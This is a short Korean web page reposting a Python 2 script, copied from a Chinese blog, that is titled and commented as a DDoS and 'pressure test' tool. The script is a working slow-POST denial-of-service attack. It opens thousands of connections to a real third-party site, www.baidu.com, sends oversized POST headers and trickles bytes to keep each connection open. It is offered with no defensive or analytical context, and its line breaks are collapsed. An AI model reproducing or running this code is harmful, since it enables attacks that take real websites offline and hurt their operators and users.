듣자니,이것 은 DDNS**스 크 립 트 라 고 한다

1424 단어 pythonDDNS
여기 서 베 낀 것:http://blog.csdn.net/jeepxiaozi/article/details/8799684
#!/usr/bin/env python
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="www.baidu.com"
PAGE="/index.php"
#---------------------------

buf=("POST %s HTTP/1.1\r
" "Host: %s\r
" "Content-Length: 10000000\r
" "Cookie: dklkt_dos_test\r
" "\r
" % (PAGE,HOST)) socks=[] def conn_thread():     global socks     for i in range(0,MAX_CONN):         s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)         try:             s.connect((HOST,PORT))             s.send(buf)             print "Send buf OK!,conn=%d
"%i             socks.append(s)         except Exception,ex:             print "Could not connect to server or send error:%s"%ex             time.sleep(10) #end def def send_thread():     global socks     while True:         for s in socks:             try:                 s.send("f")                 #print "send OK!"             except Exception,ex:                 print "Send Exception:%s
"%ex                 socks.remove(s)                 s.close()         time.sleep(1) #end def conn_th=threading.Thread(target=conn_thread,args=()) send_th=threading.Thread(target=send_thread,args=()) conn_th.start() send_th.start()

좋은 웹페이지 즐겨찾기